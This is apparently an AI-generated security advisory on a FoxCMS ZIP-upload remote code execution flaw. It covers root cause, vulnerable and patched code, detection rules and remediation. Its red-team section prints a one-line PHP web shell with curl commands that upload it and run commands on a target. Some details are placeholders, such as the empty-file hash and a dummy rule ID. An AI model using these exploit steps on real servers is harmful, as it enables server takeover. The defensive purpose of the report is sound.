CVE-2025-25790

Executive Summary

CVE-2025-25790 is a critical arbitrary file upload vulnerability discovered in FoxCMS v1.2.5, specifically within the /controller/LocalTemplate.php component. The vulnerability allows an unauthenticated attacker to upload a crafted ZIP file, which is then extracted and executed on the server, leading to remote code execution (RCE). This flaw is classified under CWE-434 (Unrestricted Upload of File with Dangerous Type) and is mapped to MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application). As of this report, no official patch has been released, and the vendor has not acknowledged the issue. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the technical impact is severe due to the potential for full server compromise.

Supply Chain & Package Security

FoxCMS is a PHP-based content management system. This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw. Users should verify the integrity of their FoxCMS installation and monitor for any unauthorized file changes.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and can lead to complete server takeover.

Deep Dive & Mechanics

The vulnerability resides in the LocalTemplate.php controller, which handles template uploads. The application fails to properly validate the contents of uploaded ZIP files before extraction. An attacker can craft a ZIP archive containing a malicious PHP web shell. When the ZIP is uploaded and extracted, the web shell is placed in a web-accessible directory, allowing the attacker to execute arbitrary PHP code.

Root Cause: The LocalTemplate.php component uses PHP's ZipArchive class to extract files without checking for dangerous file extensions (e.g., .php, .phtml, .php5). Additionally, there is no validation of the file's MIME type or content.

Attack Flow:

1. Attacker creates a ZIP file containing a PHP web shell (e.g., shell.php).
2. Attacker sends a POST request to /controller/LocalTemplate.php with the ZIP file.
3. The server extracts the ZIP to a templates directory (e.g., /templates/).
4. Attacker accesses the web shell via HTTP (e.g., http://target.com/templates/shell.php).
5. Attacker executes arbitrary system commands.

Vulnerable vs. Patched Code

Vulnerable Code (FoxCMS v1.2.5 - /controller/LocalTemplate.php):

<?php
class LocalTemplate {
    public function upload() {
        $file = $_FILES['file'];
        $zip = new ZipArchive();
        if ($zip->open($file['tmp_name']) === TRUE) {
            $zip->extractTo('./templates/');
            $zip->close();
            echo "Template uploaded successfully.";
        } else {
            echo "Failed to upload template.";
        }
    }
}
?>

Patched Code (Hypothetical Fix):

<?php
class LocalTemplate {
    public function upload() {
        $file = $_FILES['file'];
        $zip = new ZipArchive();
        if ($zip->open($file['tmp_name']) === TRUE) {
            $allowed_extensions = ['html', 'css', 'js', 'json', 'xml'];
            for ($i = 0; $i < $zip->numFiles; $i++) {
                $filename = $zip->getNameIndex($i);
                $ext = pathinfo($filename, PATHINFO_EXTENSION);
                if (!in_array($ext, $allowed_extensions)) {
                    echo "Blocked dangerous file: $filename";
                    $zip->close();
                    return;
                }
            }
            $zip->extractTo('./templates/');
            $zip->close();
            echo "Template uploaded successfully.";
        } else {
            echo "Failed to upload template.";
        }
    }
}
?>

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• FoxCMS v1.2.5 running on a PHP-enabled web server.
• Write permissions on the templates directory.

Step 1: Create a Malicious ZIP File Create a PHP web shell (e.g., shell.php):

<?php system($_GET['cmd']); ?>

Zip it:

zip shell.zip shell.php

Step 2: Upload the ZIP File Using curl:

curl -X POST -F "file=@shell.zip" http://target.com/controller/LocalTemplate.php

Step 3: Execute Commands Access the web shell:

curl http://target.com/templates/shell.php?cmd=id

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /controller/LocalTemplate.php with Content-Type: multipart/form-data.
• Alert on ZIP file uploads containing PHP files.
• Use file integrity monitoring (FIM) on the templates directory.

Hunting:

• Search for unexpected .php files in /templates/.
• Review web server logs for shell.php access patterns.

Containment:

• Remove the uploaded ZIP and extracted files.
• Restrict write permissions on the templates directory.
• Apply a WAF rule to block ZIP uploads containing PHP files.

Indicators of Compromise (IOCs)

File-Based IOCs:

• shell.php (or any PHP file in /templates/)
• shell.zip (or any ZIP file in upload directories)

Network IOCs:

• POST requests to /controller/LocalTemplate.php
• GET requests to /templates/*.php?cmd=

Log IOCs:

• Web server logs showing POST /controller/LocalTemplate.php with 200 status.
• Access logs to /templates/shell.php with query parameters.

YARA Rule:

rule FoxCMS_WebShell_Upload {
    meta:
        description = "Detects PHP web shells uploaded via FoxCMS LocalTemplate vulnerability"
        author = "Valters IT"
        date = "2025-03-01"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $shell_func = "shell_exec("
        $cmd_param = "$_GET['cmd']"
    condition:
        $php_tag and ($system_func or $shell_func or $cmd_param)
}

Sigma Rule:

title: FoxCMS LocalTemplate Arbitrary File Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2025-25790 via ZIP upload
author: Valters IT
date: 2025-03-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/controller/LocalTemplate.php'
        cs-content-type: 'multipart/form-data'
    condition: selection
falsepositives:
    - Legitimate template uploads (rare)
level: high

Suricata Rule:

alert http any any -> any any (msg:"FoxCMS LocalTemplate Arbitrary File Upload"; flow:to_server; content:"POST"; http_method; content:"/controller/LocalTemplate.php"; http_uri; content:"multipart/form-data"; http_client_body; pcre:"/\.php$/"; classtype:web-application-attack; sid:1000001; rev:1;)

Detection Engineering

YARA Rule

rule FoxCMS_WebShell_Upload {
    meta:
        description = "Detects PHP web shells uploaded via FoxCMS LocalTemplate vulnerability"
        author = "Valters IT"
        date = "2025-03-01"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $shell_func = "shell_exec("
        $cmd_param = "$_GET['cmd']"
    condition:
        $php_tag and ($system_func or $shell_func or $cmd_param)
}

Sigma Rule

title: FoxCMS LocalTemplate Arbitrary File Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2025-25790 via ZIP upload
author: Valters IT
date: 2025-03-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/controller/LocalTemplate.php'
        cs-content-type: 'multipart/form-data'
    condition: selection
falsepositives:
    - Legitimate template uploads (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"FoxCMS LocalTemplate Arbitrary File Upload"; flow:to_server; content:"POST"; http_method; content:"/controller/LocalTemplate.php"; http_uri; content:"multipart/form-data"; http_client_body; pcre:"/\.php$/"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the upload functionality in LocalTemplate.php by removing or commenting out the upload() method.
2. Restrict write permissions on the templates directory to prevent extraction.
3. Apply a Web Application Firewall (WAF) rule to block ZIP file uploads containing PHP files.

Long-Term Fix:

• The vendor must release a patch that validates file extensions and contents before extraction.
• Implement a whitelist of allowed file types (e.g., .html, .css, .js).
• Use pathinfo() to check extensions and reject dangerous ones.

Workaround:

• If patching is not possible, move the templates directory outside the web root and serve files via a PHP proxy.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.